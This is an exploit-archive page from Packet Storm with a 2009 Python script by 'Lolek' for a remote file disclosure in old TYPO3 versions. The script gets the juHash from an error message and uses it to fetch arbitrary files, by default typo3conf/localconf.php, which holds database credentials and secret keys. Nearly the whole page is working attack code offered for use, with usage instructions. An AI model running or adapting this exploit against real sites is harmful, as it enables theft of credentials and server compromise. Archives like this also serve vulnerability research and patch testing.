what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TYPO3 File Disclosure

TYPO3 File Disclosure
Posted Feb 10, 2009
Authored by Lolek

TYPO3 versions below 4.0.12/4.1.10/4.2.6 remote file disclosure exploit.

tags | exploit, remote, info disclosure
SHA-256 | dff52ea5f385763119d7989422182ad07e1008253d628bb6b2f633bfbf5d5a59

TYPO3 File Disclosure

Change Mirror Download
#!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <lolek1337@gmail.com>
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
# typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek

import urllib,re,sys

strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')

def useme():
print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
sys.exit(0)

def parsehash(host, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:'})
url = host + '/?' + file
try:
s = urllib.urlopen(url)
r = s.read()
except Exception, e:
print '[!] - ', str(e)
return None

tmp = strip.match(r)
if tmp:
return tmp.group(1)
else:
return None

def content(host, hash, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:', 'juHash' : hash})
url = host + '/?' + file
try:
s = urllib.urlopen(url)
print '[+] - content of:', f
print s.read()
except:
print '[!] - FAIL'

def main():
if len(sys.argv) < 2:
useme()

if len(sys.argv) < 3:
file = 'typo3conf/localconf.php'
else:
file = sys.argv[2]

print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
print '[+] - checking typo3 installation on...'

hash = parsehash(sys.argv[1], file)

if not hash:
print '[!] - version already fixed or 42 went wrong while trying to get the hash'
sys.exit(234)

content(sys.argv[1], hash, file)


if __name__ == '__main__':
main()


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close